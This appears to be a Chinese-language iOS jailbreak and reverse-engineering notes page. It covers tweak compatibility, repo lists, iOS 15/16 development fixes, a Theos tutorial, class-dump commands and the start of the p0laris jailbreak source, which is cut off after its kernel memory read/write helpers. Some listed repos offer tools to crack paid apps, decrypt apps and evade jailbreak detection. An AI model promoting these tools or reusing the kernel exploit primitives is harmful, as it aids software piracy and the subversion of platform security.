Accent✔️-iOS accent colors in macOS styleBigBoss
Amber⭕Changing flashlight color doesn't work when enabledAmber-ify your LED torchPoomSmart
Amelija✔️-Take full control of your wallpapers on the flyTwickd
Atria⭕Widgets bug out sometimesA proper homescreen layout editor for iOS 13-15Chariz
BatteryBoobs✔️-Enable Apple's hidden % in batteryDownload Deb
CC On & Off✔️-Toggle Wi-Fi and Bluetooth fully on/off from Control CenterPoomSmart
CCBalance✔️-Change the audio balance from CCKingPuffdaddi
CCSupport✔️-Support tweak for CC modulesopa334
Checkl0ck❌Crashes to safe mode. Not installable anyway since deb control file is munted.A11 devices like iPhone 8/X which have been jailbroken with Checkra1n cannot have passcode or FaceID/TouchID. Checkl0ck is a tweak for such devices to give you back the passcode and biometric capabilities.Havoc
ColorMeNotifs❌Crashes to safemodeBring colors to your notificationsPackix
ColorMyBattery✔️-Battery Color based on the battery percentagePackix
Dodo✔️-The perfect LS redesign.Ginsu Tweaks
Dress✔️-Dress up your lockscreenTaurige Github
DualClock 2⭕LS works, status bar doesn'tAdd 2 time zones to the LS and status barGinsu
EmojiPort (iOS 12.0-14.8)✔️Needs control file editing to installLatest emojis for iOS 12.0-14.8PoomSmart
Eneko✔️-Set a video as your wallpaperTaurige Github
Ersatz✔️-Replace any text, system-wideSkitty
Filza File Manager 64-bit⭕Pressing on .deb's/binaries crashes the appFile Manager for iPhone, iPad, iPod TouchTIGI Software
HideSerialNumber✔️-Hide Serial Number in Settings About pageichitaso
Kalm❌Respring loopsA beautiful first sightChariz
Laetus⭕User apps can't be injected without no-sandboxUnparalleled keyboard customisationSparkDev
LockApps✔️-Add an App Library with your favorite apps to the LSGinsu
Lower✔️-Change media controls/notifications height on iOS 11+Packix
Neonboard⭕Theming application icons are buggednoneArtikusHG
NewTerm 2✔️-A powerful terminal app for iOSChariz
OTADisabler✔️-Delete and disable OTA badgeichitaso
PerfectTime✔️-Adds second line in status bar for showing the date on notched devicesJohnzaro's
PomPom✔️-A tidy lock screen redesignnone
ProGesture❌Crashes to safemodeModern gestures, iPad features, and many unique features but lightweight and less battery drainPackix
QuitAll✔️-One tweak to quit them allChariz
Relocate Reborn⭕Doesn't change locationChanges GPS locationnone
Rose✔️-The most advanced and feature rich system wide haptic feedback tweakTaurige Github
S8Edge✔️-Brings Galaxy S8 Infinity to iOSBruno Andrade's Repo
Shuffle⭕Sometimes crashes settingsMix up your preferencesCreatureCoding
Snapper 2✔️-Pin screenshots on the screenHavoc
SnowBoard⭕Theming application icons are buggedTheming engineSparkDev
Spectrum✔️-Customize system colorsSkitty
Starfish Beta⭕Activating spotlight crashesThe long-awaited HS redesignDynastic
SwipeExtenderX⭕User apps can't be injected without no-sandboxReinvent your keyboard with this full remake of the legendary SwipeExpander tweak, designed to work on modern iOSChariz
System Info✔️-System information in Settings app > General > About, and other sections. Set boot-nonce, save shsh, battery info, etcARX8x
Tako❌Crashes to safemodeNotification priority hub tweakXyaman Repo
TetherMe✔️-Dynamically enables native tethering for iOS 8+ devicesBigBoss
Tranzlo⭕User apps can't be injected without no-sandboxA life savior translator tweakMiRO92
TweakSettings✔️-Dedicated settings app for tweaksCreatureCoding
Ultrasound✔️-The volume HUD you deserveDynastic
Vinyl✔️-A simplified look for the lockscreen music playerBigBoss
Xen HTML⭕Can't add widgetsRun HTML widgets on the Lockscreen and HomescreenMatchstic
croutons13✔️-Brings croutons tweak to iOS 13+Ren
dotto+✔️-Notifications, your styleDynastic
lockdown beta✔️-Re-enables passcode functionality on A10/A11 deviceskrit's repo

iOS 15.0-15.7不完美checkm8越狱

https://xlsn0w.github.io/jekyll/2022/08/28/XLsn0w/

Thor锤子抓包iOS教程

https://xlsn0w.github.io/jekyll/2022/08/25/XLsn0w/

SHSH证书固定随机值Nonce工具-TrollNonce

支持iOS 15.0 - 15.1.1, A10 - A15, 搭配使用TrollStore v1.0.9+

下载地址: https://github.com/opa334/TrollNonce

TrollStore 永久签名工具

下载地址: https://github.com/opa334/TrollStore/releases/

小火箭配置V2ray教程

https://xlsn0w.github.io/jekyll/2022/08/07/XLsn0w/

iOS 16 beta 5 重新显示电池百分比

https://xlsn0w.github.io/jekyll/2022/08/05/XLsn0w/

Github DNS 解析被污染

github 的一些域名的 DNS 解析被污染,导致DNS 解析过程无法通过域名取得正确的IP地址。

解决方案
打开 https://www.ipaddress.com/ 输入访问不了的域名

查询之后可以获得正确的 IP 地址

在本机的 host 文件中添加,建议使用 switchhosts 方便 host 管理

199.232.68.133 raw.githubusercontent.com
199.232.68.133 user-images.githubusercontent.com
199.232.68.133 avatars2.githubusercontent.com
199.232.68.133 avatars1.githubusercontent.com

添加以上几条 host 配置,页面的图片展示就正常了,homebrew 也能装了,nvm 也行动灵活了。

iOS 15 - iOS 16 开发 适配 总结帖

iOS16 Xcode14适配内容:

新增控件UICalendarView,显示日期支持单选与多选
新增控件UIEditMenuInteraction,取代 UIMenuController、UIMenuItem

新增控件UIFindInteraction 文本内容查找与替换
新增控件UIPasteControl 读取剪贴板中的内容,跨 App 读取需要授权弹框

UIImage 新增的构造函数,支持 SF Symbols 新增的类别 Variable
LARightStore 存储、获取 keychain 数据

iOS 16 真机调试开启,设置-隐私与安全-开发者模式

UIScreen.main 将会废弃,建议使用 (UIApplication.shared.connectedScenes.first as? UIWindowScene)?.screen
支持 setValue() 方法设置设备的方向,替换为 UIWindowScene 的 requestGeometryUpdate() 方法。
UISheetPresentationController 支持自定义显示的 UIViewController 的大小。
UINavigationItem 改动

新增属性 style 描述 UINavigationItem 在 UINavigationBar 上的布局
新增属性 backAction 用于自定义 UIViewController 返回button事件
新增属性 titleMenuProvider 用于给当前导航栏的标题添加操作菜单

UIPageControl 支持垂直显示、设置指示器、设置当前页图片。
UITableView、UICollectionView 使用 Cell Content Configuration 时支持使用 UIHostingConfiguration 包装 SwiftUI 代码定义 Cell 的内容。
UITableView、UICollectionView 新增 selfSizingInvalidation 参数,使Cell可以自动调整大小
UIMenu 支持尺寸 small 、 medium 、 large
UIDevice 获取设备信息时,只能获取设备的名称,隐私权限增强
WidgetFamily 新增分类 accessory ,支持 iOS 锁屏显示和 watchOS 表盘显示

URLSession 建议通过连接迁移来优化网络切换场景下的 TCP 连接重建,降低网络的延迟。

class ViewController: UIViewController {
    lazy var session: URLSession = {
        let configuration = URLSessionConfiguration.default
        // MultipathServiceType是一个枚举类型,App可以采用不同的策略来利用这些网络通道
        configuration.multipathServiceType = .handover
        let session = URLSession(configuration: configuration)
        return session
    }()

    override func viewDidLoad() {
        super.viewDidLoad()
    }
}


打开系统通知设置界面的 URL Scheme 从
UIApplicationOpenNotificationSettingsURLString替换为openNotificationSettingsURLString。
import UIKit

class ViewController: UIViewController {
    override func viewDidLoad() {
        super.viewDidLoad()
    }

    override func touchesBegan(_ touches: Set<UITouch>, with event: UIEvent?) {
        // 新的通知设置URL Scheme
        let urlString = UIApplication.openNotificationSettingsURLString
        if let url = URL(string: urlString), UIApplication.shared.canOpenURL(url) {
            UIApplication.shared.open(url, options: [:], completionHandler: nil)
        }
    }
}


UIScreen.main即将被废弃,建议使用(UIApplication.shared.connectedScenes.first as? UIWindowScene)?.screen。
import UIKit

class ViewController: UIViewController {
    override func viewDidLoad() {
        super.viewDidLoad()

        // 新的获取UIScreen尺寸的方法
        if let screen = (UIApplication.shared.connectedScenes.first as? UIWindowScene)?.screen {
            print(screen)
        }
    }
}

对于iOS15适配汇总以及遇到的问题

注意:以下适配内容,必须适配的会以"必须"标出

UITableView Section的header增加默认间距
if (@available(iOS 15.0, *)) {
    self.tableView.sectionHeaderTopPadding = 0;
}

导航栏异样 iOS 15中,导航栏的问题比较明显,调试之后发现是UINavigationBar部分属性的设置在iOS 15上是无效的,查看导航栏特性API,苹果对导航栏的性能做了优化,默认情况下,如果导航栏与视图没有折叠,导航栏的背景透明,如果系统检测到有重叠的话,会变成毛玻璃的效果。

注意⚠️:UINavigationBarAppearance是iOS 13更新的API,iOS 15 navigationBar的相关属性设置要通过实例UINavigationBarAppearance来实现。

在iOS 13 UINavigationBar新增了scrollEdgeAppearance属性,但在iOS 14及更早的版本中此属性只应用在大标题导航栏上。在iOS 15中此属性适用于所有导航栏。

对于scrollEdgeAppearance属性的说明:

When a navigation controller contains a navigation bar and a scroll view, part of the scroll view’s content appears underneath the navigation bar. If the edge of the scrolled content reaches that bar, UIKit applies the appearance settings in this property.
If the value of this property is nil, UIKit uses the settings found in the standard Appearance property, modified to use a transparent background. If no navigation controller manages your navigation bar, UIKit ignores this property and uses the standard appearance of the navigation bar.

//旧代码
- (void)customizeInterface {
    //设置Nav的背景色和title色
    UINavigationBar *navigationBarAppearance = [UINavigationBar appearance];
    [navigationBarAppearance setBackgroundImage:[UIImage imageWithColor:[UIColor whiteColor]] forBarMetrics:UIBarMetricsDefault];
    [navigationBarAppearance setShadowImage:[UIImage new]];
    [navigationBarAppearance setTintColor:[UIColor colorWithHexString:@"333333"]];//返回按钮的箭头颜色
    NSDictionary *textAttributes = @{
        NSFontAttributeName:[UIFont fontWithName:@"SourceHanSerifSC-Bold" size:18.0],
        NSForegroundColorAttributeName: [UIColor colorWithHexString:@"333333"],
    };
    [navigationBarAppearance setTitleTextAttributes:textAttributes];
    navigationBarAppearance.backIndicatorImage = [UIImage imageNamed:@"image_common_navBackBlack"];
    navigationBarAppearance.backIndicatorTransitionMaskImage = [UIImage imageNamed:@"image_common_navBackBlack"];
    [[UITextField appearance] setTintColor:kColorLightBlue];//设置UITextField的光标颜色
    [[UITextView appearance] setTintColor:kColorLightBlue];//设置UITextView的光标颜色
    [[UISearchBar appearance] setBackgroundImage:[UIImage imageWithColor:[UIColor whiteColor]] forBarPosition:0 barMetrics:UIBarMetricsDefault];
}
//新代码
- (void)customizeInterface {
    //设置Nav的背景色和title色
    if (@available(iOS 13.0, *)) {
        UINavigationBarAppearance *appearance = [[UINavigationBarAppearance alloc] init];
        [appearance setBackgroundColor:[UIColor whiteColor]];
        [appearance setBackgroundImage:[UIImage imageWithColor:[UIColor whiteColor]]];
        [appearance setShadowImage:[UIImage imageWithColor:[UIColor whiteColor]]];
        appearance.titleTextAttributes = @{NSFontAttributeName:[UIFont systemFontOfSize:18.0f weight:UIFontWeightSemibold],NSForegroundColorAttributeName: [UIColor colorWithHexString:@"333333"]};
        [appearance setBackIndicatorImage:[UIImage imageNamed:@"image_common_navBackBlack"] transitionMaskImage:[UIImage imageNamed:@"image_common_navBackBlack"]];
        [[UINavigationBar appearance] setScrollEdgeAppearance: appearance];
        [[UINavigationBar appearance] setStandardAppearance:appearance];

    }
    
    UINavigationBar *navigationBarAppearance = [UINavigationBar appearance];
    [navigationBarAppearance setBackgroundImage:[UIImage imageWithColor:[UIColor whiteColor]] forBarMetrics:UIBarMetricsDefault];
    [navigationBarAppearance setShadowImage:[UIImage new]];
    [navigationBarAppearance setTintColor:[UIColor colorWithHexString:@"333333"]];
    [navigationBarAppearance setTitleTextAttributes:@{NSFontAttributeName:[UIFont systemFontOfSize:18.0f weight:UIFontWeightSemibold],NSForegroundColorAttributeName: [UIColor colorWithHexString:@"333333"]}];
    navigationBarAppearance.backIndicatorImage = [UIImage imageNamed:@"image_common_navBackBlack"];
    navigationBarAppearance.backIndicatorTransitionMaskImage = [UIImage imageNamed:@"image_common_navBackBlack"];

    [[UITextField appearance] setTintColor:[UIColor colorWithHexString:System_color]];
    [[UITextView appearance] setTintColor:[UIColor colorWithHexString:System_color]];
    [[UISearchBar appearance] setBackgroundImage:[UIImage imageWithColor:[UIColor whiteColor]] forBarPosition:0 barMetrics:UIBarMetricsDefault];
}

UITabbar

tabbar和navigationBar的问题属于同一类,tabbar背景颜色设置失效,字体设置失效,阴影设置失效问题。

//旧代码
self.tabBar.backgroundImage = UIColor.white.image
self.tabBar.shadowImage = UIColor.init(0xEEEEEE).image
item.setTitleTextAttributes(norTitleAttr, for: .normal)
item.setTitleTextAttributes(selTitleAttr, for: .selected)

注意⚠️:首先是背景色设置失效,需要用UITabBarAppearance来设置

//新代码
if #available(iOS 15, *) {
    let bar = UITabBarAppearance.init()
    bar.backgroundColor = UIColor.white
    bar.shadowImage = UIColor.init(0xEEEEEE).image
    let selTitleAttr = [
        NSAttributedString.Key.font: itemFont,
        NSAttributedString.Key.foregroundColor: UIColor.theme
    ]
    bar.stackedLayoutAppearance.selected.titleTextAttributes = selTitleAttr // 设置选中attributes
    self.tabBar.scrollEdgeAppearance = bar
    self.tabBar.standardAppearance = bar
}

注意⚠️:iOS 15.4及以上,在12小时制下,通过字符串获取NSDate取到的值为nil

注意⚠️:iOS 15.4及以上,在12小时制下,通过NSDate获取时间字符串HH情况下依旧取得12小时制结果。

注意⚠️:苹果官方对NSDateFormatter的解释中可以看出,要想在任何时候输出固定格式的日期,需要设置.local。

##OC
NSDateFormatter *dateFormatter = [[NSDateFormatter alloc]init];
dateFormatter.locale = [[NSLocale alloc] initWithLocaleIdentifier:@"zh_Hans_CN"];
// 或者
//dateFormatter.locale = [NSLocale systemLocale]; 
dateFormatter.calendar = [[NSCalendar alloc]initWithCalendarIdentifier:NSCalendarIdentifierISO8601];


##Swift
let formatter = DateFormatter()
formatter.locale = Locale.init(identifier: "zh_Hans_CN")
formatter.calendar = Calendar.init(identifier: .iso8601)

注意⚠️:如果我们需要使用日历相关,我们还需要设置dateFormatter的日历格式。
dateFormatter.calendar = [[NSCalendar alloc]initWithCalendarIdentifier:NSCalendarIdentifierISO8601];

+ (NSDateFormatter *)DateFormatter{
    NSDateFormatter *dateFormatter = [[NSDateFormatter alloc]init];
    dateFormatter.locale = [NSLocale systemLocale];
    dateFormatter.calendar = [[NSCalendar alloc]initWithCalendarIdentifier:NSCalendarIdentifierISO8601];
    return dateFormatter;
}

iOS iBoot

iBoot是一个二级bootloader,

负责iOS系统的恢复模式。 它可以在手机上运行也可以通过USB线或串口线连接到电脑上。

当设备不处于恢复模式时,iBoot会验证目前设备运行的iOS版本是否合法。

如果发现iOS系统版本非法,就会强迫设备系统重启并强制运行iBoot软件。

这个bootloader以加密的方式存储在设备内部, 是用来保护iOS系统完整性的重要组成部分。

void find_boot_images(void) {// 查找启动镜像
	PROFILE_ENTER('FBI');
#if WITH_BLOCKDEV
	struct blockdev *rom_bdev;
	uint32_t i;

	/* iterate over each of the rom devices, looking for images and syscfg data */
	for (i=0; i < sizeof(platform_image_devices)/sizeof(platform_image_devices[0]); i++) {
		rom_bdev = lookup_blockdev(platform_image_devices[i].name);
		if (!rom_bdev)
			continue;

		image_search_bdev(rom_bdev, platform_image_devices[i].image_table_offset, 0);
	}
	
#if WITH_SYSCFG
	/* hook up syscfg data */
	for (i=0; i < sizeof(platform_syscfg_devices)/sizeof(platform_syscfg_devices[0]); i++) {
		if (lookup_blockdev(platform_syscfg_devices[i].name)) {
			if (syscfgInitWithBdev(platform_syscfg_devices[i].name))
				break;
		}
	}
#endif /* WITH_SYSCFG */
#endif /* WITH_BLOCKDEV */
	
	image_dump_list(false);
	PROFILE_EXIT('FBI');
}

查看iOS固件验证关闭状态App

详情链接: https://xlsn0w.github.io/jekyll/2022/07/27/XLsn0w/

iOS逆向工程-Frida使用教程

详情链接: https://xlsn0w.github.io/jekyll/2022/07/28/XLsn0w/

MonkeyDev 支持Xcode 12安装

修复Xcode12 MacOSX Package Types.xcspec not found报错

下载地址: https://github.com/XLsn0w/MonkeyDev_Xcode12

遇到的问题

libstdc++

Xcode 10之后删除的libstdc++库

  1. 先下载下来这个项目,然后打开终端cd到libstdc--master文件夹;
  2. 如果你使用的是 Xcode 10,则将install-xcode_10.sh拖到终端中执行即可;
  3. Xcode 11 之后的版本则将install-xcode_11+.sh拖到终端中执行。

iOS file not found: /usr/lib/libstdc++.dylib

下载解压这个文件 https://github.com/MonkeyDev_Xcode12/Xcode11+libstdc++

~ % cd /Users/xlsn0w/libstdc- 

~ % sudo sh install-xcode_11+.sh

Theos

A cross-platform build system for creating iOS,
macOS, Linux, and Windows programs.

Home – Documentation – Get Help – @theosdev – Discord

iOS降级+SHSH备份教程

在线备份shsh2 : https://tsssaver.1conan.com/v2/

Cydia和Sileo 插件源使用指南

Cydia/Sileo 插件源使用指南

图片

Cydia /Sileo 自带源 都是正规, 非测试, 正版插件正版插件,

部分实用工具需要付费购买功能。

大部分插件可在下列源上安装。

https://apt.bingner.com (Cydia 自带)

http://apt.thebigboss.org/repofiles/cydia (Cydia 自带)

https://repo.chariz.com

https://repo.dynastic.com

https://repo.packix.com

https://havoc.app (Sileo 自带)

普通人到这里就行了, 多安装瞎搞,

平刷还能回来, 不能只能升级系统了

MYbloXX 降级必备

http://myxxdev.github.io

Odyssey https://repo.theodyssey.dev

Rollectra / SemiRestore11

平刷插件,理论上通用

http://xnu.science/repo

Succession iOS 通用平刷工具

https://samgisaninja.github.io/test/

https://samgisaninja.github.io

必备依赖包插件!

解决设置列表不显示插件入口(Preferenceloader)

插件不需要安装, 在你安装其他插件会自带附带安装

❶ AppList ❷ Cephei Tweak Support ❸ libcolorpicker

rpetrich个人 源:https://rpetri.ch/repo

❹ Preferenceloader ❺ RocketBootstrap

安装上述五个依赖解决!

AppSync Unified 必备!无视签名,随意安装

https://cydia.akemi.ai

ichitaso个人源

https://cydia.ichitaso.com

iCleaner Pro 必备!最强清理神器

https://ib-soft.net/cydia https://ib-soft.net/cydia/beta

Filza 必备!最强文件管理器

https://tigisoftware.com/cydia

Battery Health Enable 解决更换电池健康度显示问题

https://poomsmart.github.io/repo/

Bakgrunnur 真实后台

https://udevsharold.github.io/repo/

OTAEnabler 恢复系统更新

https://repo.cadoth.net

OTADisabler 屏蔽系统更新

https://cydia.ichitaso.com

CrashReporter 崩溃报告

https://cokepokes.github.io

Appstore++ 应用降级

https://cokepokes.github.io

CyDown 推荐! 一键破解收费

https://julio.hackyouriphone.org

CrackerXI 砸壳工具

http://cydia.iphonecake.com

FlyJB X 屏蔽越狱检测

https://repo.xsf1re.kr

A-Bypass 推荐!超强屏蔽越狱检测

https://repo.co.kr

Haoict 个人源 社交 APP 去广告,保存视频

https://haoict.github.io/cydia

ReProvision Reborn

复活版自签工具

https://repo.packix.com

Zebra 斑马越狱商店

https://getzbra.com/repo

Xenhtml 插件

https://xenpublic.incendo.ws

Xeninfo 插件

http://junesiphone.com/supersecret

Zetsu 分屏插件 iOS 14

https://dcsyhi1998.github.io

PullOver Pro 分屏

https://c1d3r.com/repo

MilkyWay 分屏

https://deontw.github.io/akusio-Repo-Mirror

shuffle 设置归类

https://creaturesurvive.github.io/repo

Shortmoji 2 键盘增强

https://miro92.com/repo/

h2 作者源

https://lzsxcl.github.io/repo

越狱以及Theos环境搭建

一、越狱以及Theos环境搭建
      在实现iOS注入前,需要搭建相关的越狱开发环境,具体需要安装的工具和步骤可以参考上一节《IOS平台GDB动态调试介绍》中第一小节的内容。

二、利用Theos实现注入
      在相关的环境配置好后,就可以着手对ios平台的程序进行注入了,这里使用的是Theos越狱工具开发工具包,该工具功能强大、易于安装、操作简单,是ios平台理想的越狱开发工具,有兴趣的读者可以在github上查看工具的源码。接下来主要介绍theos的相关操作。

2.1 新建工程
      在Mac终端的命令行中切换目录至常用的工程目录,并输入“/opt/theos/bin/nic.pl”命令,此时命令行会显示以下列表:
UseriMac:~ user$ /opt/theos/bin/nic.pl
NIC 2.0 - New Instance Creator
------------------------------
  [1.] iphone/application
  [2.] iphone/library
  [3.] iphone/preference_bundle
  [4.] iphone/tool
  [5.] iphone/tweak
      接下来选择“5”就能创建一个tweak工程,然后按照命令行提示输入要创建工程的配置信息,具体内容如下:
Choose a Template (required): 5
Project Name (required): test
Package Name [com.yourcompany.test]: com.gameprotect.test
Author/Maintainer Name [xx]: xxx
[iphone/tweak] MobileSubstrate Bundle filter [com.apple.springboard]: com.apple.springboard
[iphone/tweak] List of applications to terminate upon installation (space-separated, '-' for none) [SpringBoard]: SpringBoard
Instantiating iphone/tweak in testdxy/...
Done.
      其中Project Name、Package Name和Author Name都比较好理解;第四个MobileSubstrate Bundle filter是要注入程序的BundleID,默认的进程为com.apple.springboard,为了演示方便,在此先使用默认进程作为注入对象,读者可以根据各自需要输入对应的进程名;List of applications to terminate upon installation是tweak安装后要重启的进程名,该信息和刚输入的进程BundleID对应,此处笔者同样输入默认的进程名SpringBoard。配置输入完后命令行出现“Done.”时即完成了工程的创建工作。

Tweak工程目录文件介绍

control文件

  首先介绍的是control文件,该文件记录了工程的基本信息,新建的test工程中control文件各字段内容如下:
Package: com.gameprotect.test
Name: test
Depends: mobilesubstrate
Version: 0.0.1
Architecture: iphoneos-arm
Description: An awesome MobileSubstrate tweak!
Maintainer: xxx
Author: xxx
Section: Tweaks
   从上面的内容可以看出,Package、Name、Maintainer、Author等字段是在建立工程时由命令行输入的;
   而Depends、Version、Description等字段从字面意义也很好理解,
   值得说明的是Depends字段,读者可以根据需要指定工程的固件版本、软件程序等依赖条件,
   若运行环境不满足依赖条件则程序无法运行,这三个字段在一般情况下可以不用更改;
   最后是Architecture和Section字段,该字段指定了要安装的程序的设备架构以及程序类型,不能更改。

MakeFile文件

  接下来介绍MakeFile文件,该文件用来指定工程要用到的文件、框架等信息,
  新建的test工程中MakeFile文件各字段内容如下:
include theos/makefiles/common.mk
TWEAK_NAME = test
test_FILES = Tweak.xm
include $(THEOS_MAKE_PATH)/tweak.mk
after-install::
    install.exec "killall -9 SpringBoard"
   其中第一行的include字段指定了工程的common.mk文件,
   该文件通常不会变化,因此不需修改
   ;TWEAK_NAME字段填入的是建立工程时命令行输入的Project Name;
   test_FILES字段指定工程包含的源文件,如果工程中需要用到多个源文件则用空格将各个文件名分开;
   第三行的include字段指定工程的mk文件,这里新建的是tweak工程,
   所以填入的是tweak.mk文件,还可以根据需求填入application.mk以及tweak.mk文件;
   最后一行after-install字段指定安装程序后需要执行的操作,
   这里需要注入SpringBoard进程并执行自己的代码,
   因此需要重启SpringBoard进程达到目的。
   
   MakeFile文件除了自动生成的这些字段外,
   还可以根据功能手动添加其他字段:
   ARCHS字段可以用来指定处理器架构,
   一般情况下填写“ARCHS = arm64 arm64e”即可;
   TARGET字段用来指定SDK版本;
   framework字段可以指定要导入的框架,
   比如这里的测试demo中填写的是“test_FRAMEWORKS = UIKit”,
   UIKit为后续测试代码需要用到的框架,
   另一方面,还可以通过test_PRIVATE_FRAMEWORKS字段指定要导入的私有库,
   格式不变。
   
 测试的MakeFile文件修改后的完整内容如下:
ARCHS = armv7 arm64
include theos/makefiles/common.mk
TWEAK_NAME = test
test_FILES = Tweak.xm
test_FRAMEWORKS = UIKit
include $(THEOS_MAKE_PATH)/tweak.mk
after-install::
    install.exec "killall -9 SpringBoard"

Contributors

-----------------------------------

“MonkeyDev error: Signing for “xlsn0wDylib” requires a development team.”

“Select a development team in the Signing & Capabilities editor.”

在Xcode中 选中Dylib对应的target (in target ‘xlsn0wDylib’)

点击Build Settings 中

添加"CODE_SIGNING_ALLOWED = NO" 关闭对Dylib的Code签名

-----------------------------------

Cydia Substrate

- 底层使用Method Swizzle 和 fishhook实现

Cydia Substrate 原名为 Mobile Substrate 由SaurikIT开发 它的主要作用是针对OC方法、C函数以及函数地址进行HOOK操作。当然它并不是仅仅针对iOS而设计的,安卓一样可以用。 官方地址:http://www.cydiasubstrate.com/

libsubstrate.dylib 库文件

libsubstitute.dylib 库文件

从越狱的iPhone上拷贝/Library/Frameworks/CydiaSubstrate.framework/CydiaSubstrate 到Mac电脑的目录 /opt/theos/lib/ ,并修改名称为 libsubstrate.dylib

如果是使用unc0ver越狱的话, 用Filza从 /usr/lib/libsubstitute.dylib 复制到Mac电脑的目录 /opt/theos/lib/

Cydia Substrate主要由3部分组成:

MobileHooker MobileHooker顾名思义用于HOOK。它定义一系列的宏和函数,底层调用objc的runtime和fishhook来替换系统或者目标应用的函数.

其中有两个函数:
 void MSHookMessageEx(Class class, SEL selector, IMP replacement, IMP result)
 主要作用于Objective-C方法
 
 void MSHookFunction(voidfunction,void* replacement,void** p_original)
 主要作用于C和C++函数, Logos语法的%hook 就是对此函数做了一层封装
 
 利用DCRM V4搭建Cydia Repo教程 https://github.com/XLsn0w/Dumb-Cydia-Repository-Manager

添加公众号Cydia源:
Cydia Repo: https://XLsn0w.github.io/tweak/
Cydia Repo: https://XLsn0w.github.io/tweaks/
Cydia Repo: https://XLsn0w.github.io/Cydiapp/

iOS进阶福利群
QQ会员群号: 582415518 (内含稀缺资源下载)
点击赞赏二维码+WeChat

iOS教学
Cydia C++源码
iOS13-14越狱源代码
iOS14.5完美越狱实现源码

解决Mac终端 Failed to connect to raw.githubusercontent.com port 443

解决 raw.githubusercontent.com 无法访问

1.打开 https://www.ipaddress.com 2.这个网站中的查询框中输入:raw.githubusercontent.com
3.回车 4.在里面找到raw.githubusercontent.com相对应的ipv4地址: 5.前四个地址随便选一个即可:

🇺🇸 raw.githubusercontent.com	A	185.199.108.133
🇺🇸 raw.githubusercontent.com	A	185.199.109.133
🇺🇸 raw.githubusercontent.com	A	185.199.110.133
🇺🇸 raw.githubusercontent.com	A	185.199.111.133

6.在cmd+shift+G 输入/etc/hosts 7.在hosts 添加一行代码 如下

185.199.108.133     raw.githubusercontent.com

iOS获取任何砸壳ipa的资源图片工具

iOS Images Extractor : https://github.com/devcxm/iOS-Images-Extractor

iOS调试UI的工具Lookin

Lookin 可以查看与修改 iOS App 里的 UI 对象, 类似于 Xcode 自带的 UI Inspector 工具, 或另一款叫做 Reveal 的软件。 官网:https://lookin.work/

如果.ipa或.app是做了防护 只能runtime classdumpdyld弄了

参考文章: https://mp.weixin.qq.com/s/m1TUrSfc4cvYbGAcGAtQeg

#cycript -p SpringBoard

@import net.limneos.classdumpdyld;

classdumpdyld.dumpClass(SpringBoard);
@"Wrote file /tmp/SpringBoard.h"

classdumpdyld.dumpBundle([NSBundle mainBundle]);
@"Wrote all headers to /tmp/SpringBoard"

// Dump any bundle other than the main bundle 
classdumpdyld.dumpBundle([NSBundle bundleWithIdentifier:@"com.apple.UIKit"]);
@"Wrote all headers to /tmp/UIKit"

// Dump any image loaded in the process using any class name it contains
classdumpdyld.dumpBundleForClass(CallBarControllerModern);
@"Wrote all headers to /tmp/CallBar7"

iOS untethered jailbreak for iOS 9.x and 10.x p0laris Implementation principle

#include <Foundation/Foundation.h>
#include <UIKit/UIKit.h>
#include <sys/utsname.h>
#include <sys/mount.h>
#include <mach/mach.h>
#include <sys/stat.h>
#include <syslog.h>
#include <dlfcn.h>
#include <spawn.h>

#import "patchfinder.h"
#import "common.h"
#import "sbops.h"
#import "log.h"

/*
 *  I live in a constant state of fear and misery
 *  Do you miss me anymore?
 *  And I don't even notice when it hurts anymore
 *  Anymore, anymore, anymore
 */

#define INSTALL_NONPUBLIC_UNTETHER 0
#define FIRST_TIME_OVERRIDE 0
#define INSTALL_UNTETHER 0
#define BTSERVER_USED 0
#define UNPATCH_PMAP 0
#define ENABLE_DEBUG 0
#define DO_CSBYPASS 0
#define DUMP_KERNEL 0

uintptr_t kernel_base	= -1;
uintptr_t kaslr_slide	= -1;
task_t tfp0				= 0;

uintptr_t kbase(void);
task_t get_kernel_task(void);
void exploit_cleanup(task_t);
int progress(const char* s, ...);
int progress_ui(const char* s, ...);

#define UNSLID_BASE 0x80001000

// A5
uint32_t pmap_addr = 0x003F6454;

uint32_t find_kernel_pmap(void) {
	return pmap_addr + kernel_base;
}

/*
 *  read 4-bytes from address addr from kernel memory
 */
uint32_t kread_uint32(uint32_t addr) {
	vm_size_t bytesRead=0;
	uint32_t ret = 0;
	vm_read_overwrite(tfp0,
					  addr,
					  4,
					  (vm_address_t)&ret,
					  &bytesRead);
	return ret;
}

/*
 *  read a byte from address addr from kernel memory
 */
uint8_t kread_uint8(uint32_t addr) {
	vm_size_t bytesRead=0;
	uint8_t ret = 0;
	vm_read_overwrite(tfp0,
					  addr,
					  1,
					  (vm_address_t)&ret,
					  &bytesRead);
	return ret;
}

/*
 *  write a 4-byte value to address addr in kernel memory
 */
void kwrite_uint32(uint32_t addr, uint32_t value) {
	vm_write(tfp0,
			 addr,
			 (vm_offset_t)&value,
			 4);
}

/*
 *  write a byte value to address addr in kernel memory
 */
void kwrite_uint8(uint32_t addr, uint8_t value) {
	vm_write(tfp0,
			 addr,
			 (vm_offset_t)&value,
			 1);
}

/*
 *  free and nullify pointer macro
 */
void _zfree(void** ptr) {
	free(*ptr);
	*ptr = NULL;
}

#define zfree(ptr) do { _zfree((void**)ptr); } while (0)

extern char **environ;

void run_cmd(char *cmd, ...) {
	pid_t pid;
	va_list ap;
	char* cmd_ = NULL;
	
	va_start(ap, cmd);
	vasprintf(&cmd_, cmd, ap);
	
	char *argv[] = {"sh", "-c", cmd_, NULL};
	
	int status;
	lprintf("Run command: %s", cmd_);
	status = posix_spawn(&pid, "/bin/sh", NULL, NULL, argv, environ);
	if (status == 0) {
		lprintf("Child pid: %i", pid);
		do {
			if (waitpid(pid, &status, 0) != -1) {
				lprintf("Child status %d", WEXITSTATUS(status));
			} else {
				perror("waitpid");
			}
		} while (!WIFEXITED(status) && !WIFSIGNALED(status));
	} else {
		lprintf("posix_spawn: %s", strerror(status));
	}
}

bool exists(char* path) {
	bool ret = false;
	
	/*
	 *  check if file exists and is accessible
	 */
	
	ret = access(path, F_OK) != -1;
	
	return ret;
}

/*
 *  BEGIN ADVANCED BORROWING FROM REALKJCMEMBER
 */
#define TTB_SIZE			4096
#define L1_SECT_S_BIT		(1 << 16)
#define L1_SECT_PROTO		(1 << 1)														/* 0b10 */
#define L1_SECT_AP_URW		(1 << 10) | (1 << 11)
#define L1_SECT_APX			(1 << 15)
#define L1_SECT_DEFPROT		(L1_SECT_AP_URW | L1_SECT_APX)
#define L1_SECT_SORDER		(0)																/* 0b00, not cacheable, strongly ordered. */
